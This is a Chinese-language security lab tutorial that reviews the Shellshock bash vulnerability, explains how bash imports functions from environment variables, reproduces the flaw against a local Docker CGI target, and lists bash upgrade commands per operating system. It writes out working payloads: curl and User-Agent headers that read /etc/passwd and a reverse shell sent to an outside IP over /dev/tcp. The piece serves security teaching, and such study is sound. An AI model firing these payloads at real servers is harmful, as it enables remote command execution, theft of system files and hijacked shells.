Shellshock漏洞回顾与分析

阅读(207)

本篇文章适合初学ShellShock漏洞阅读,如果您已经学习过ShellShock漏洞,可以直接略过。本篇是我们悬镜安全实验室成员之一Kr0iNg’s 在学习ShellShock时分享的一点心得,仅供大家参考学习。
ShellShock漏洞出现时间很早,相信很多人也对ShellShock漏洞有很多的认识了。最近又看学习了下ShellShock漏洞,自己也有一些心得想要分享。

下面我将从4个方面来分享下ShellShock

第一:什么是ShellShock漏洞
第二:漏洞原理分析
第三:漏洞复现
第四:ShellShock的修复方法

0x00 什么是ShellShock漏洞

Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。

在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。

简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。

0x01 预备知识

以root权限安装4.1版本的bash

下载链接:bash4.1

下载:
wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

安装:
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure
$ make & make install

安装完成

查看bash版本号
$bash -version

漏洞信息最早来源于国外知名漏洞网站exploit-db下的第34765篇漏洞报告,其中出现了一条验证命令:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test "

如果在一个含有版本号小于bash 4.3的linux或者unix系统,本地执行以上命令,可能会得到以下输出:

Vulnerable this is a test

其中如果出现第一行vulnerable则说明该系统存在一个由bash程序缺陷导致的任意命令执行漏洞。

本地执行结果如下:

输出vulnerable的话,说明bash有漏洞。

0x02漏洞原理分析

了解bash自定义函数,只需要函数名就能够调用该函数。

funtion ShellShock {

echo "Injection"

} 

ShellShock #调用这个函数

这个时候的Bash的环境变量:

KEY = ShellShock

VALUE = () { echo Injection; }

来看看ShellShock漏洞的真身:

export ShellShock='() { :; }; echo;/usr/bin/whoami'

bash

>Kr0iNg

为什么调用bash的时候输出Injection了呢,看看它内部情况:

 KEY = ShellShock

VALUE = () { :; }; echo;/usr/bin/whoami

bash读取了环境变量,在定义ShellShock之后直接调用了后面的bash命令。

一旦调用bash,自定义的语句就直接触发。

正常执行过程

我们先来看一下这个漏洞形成的原因。这个问题的发生是因为Bash的一个功能,它允许在Bash的shell中使用环境变量来定义函数。

函数的作用是把经常调用的代码封装起来,然后在其他地方调用,所有的大多数脚本语言都有这个功能。

Bash中函数的定义是这样的:

function ShellShock{

echo hello

}

hello #调用这个函数

但是,Bash还有一种使用环境变量来定义函数的方法,这是它的特性。

如果环境变量的值以字符”() {“开头,那么这个变量就会被当作是一个导入函数的定义(Export),这种定义只有在shell启动的时候才生效。

 ➜  ~ export ShellShock="() { echo Hello ShellShock; }"

 ➜  ~ ShellShock

 bash:ShellShock: command not found

 ➜  ~ bash

 bash-4.1$ ShellShock

Hello ShellShock

bash-4.1$ 

利用存在漏洞版本的bash用export引入触发ShellShock来执行代码测试。

这段的意思就是引入ShellShock这个函数(函数名可任意)

export ShellShock="() { echo This is ShellShock; }

分号作为分隔 来执行系统命令

;echo;/usr/bin/whoami

0x03漏洞复现

我用docker在本地pull了一份存在Shellshock漏洞的程序进行测试。

docker搭建、安装教程docker安装教程

docker run -d -p 8000:80 -v /Users/Kr0iNg/Desktop/路径 漏洞镜像名称:latest

将它的端口转发到本机进行访问。

访问127.0.0.1:8000

进行Shellshock漏洞测试,使用工具curl。

测试命令:

curl -A “() { echo ShellShock; }; echo; /bin/cat /etc/passwd” http://127.0.0.1:8000/cgi-bin/vulnerable

使用curl -A 或者 -H 参数模拟Http头命令,并调用“cat /etc/passwd”读passwd文件,发送到存在Bash漏洞的docker容器,成功读取到了passwd文件内容。

我本地测试截图:

用Burpsuite来进行测试。

修改http协议中的User-Agent字段为:

() { :; };echo;/bin/cat /etc/passwd

成功读取passwd文件。

发送http请求进行测试反弹shell。

服务器开启监听:

模拟浏览器头:

 User-Agent: () { :; };echo;/bin/bash -i >& /dev/tcp/47.92.80.16/1234 0>&1

反弹成功,可以查看用户名,目录,系统版本等信息。

0x04ShellShock的修复方法

现在可以按照下面方式进行Bash的升级修复:

操作系统 升级方式

Ubuntu/Debian apt-get update

 apt-get install bash

RedHat/CentOS/Fedora
yum update -y bash

Arch Linux
pacman -Syu

OS X brew update

brew install bash

sudo sh -c 'echo "/usr/local/bin/bash" >> /etc/shells'

chsh -s /usr/local/bin/bash

sudo mv /bin/bash /bin/bash-backup

sudo ln -s /usr/local/bin/bash /bin/bash

MacPorts sudo port self update

 sudo port upgrade bash

以上为悬镜安全实验室原创文章,如需转载请标注: http://www.x-mirror.cn/

悬镜安全实验室

悬镜安全实验室作为安普诺核心的网络攻防研究团队,主要负责前言安全技术研究和为企业客户提供专业的安全保障及安全咨询等服务,主要包括:基于深度学习的WEB威胁检测引擎研究、恶意样本分析、APT模拟攻击测试、高级渗透测试、主机安全巡检、安全事件应急响应、服务器防黑加固及安卓App风险评估等。

评论:

Your email address will not be published.


*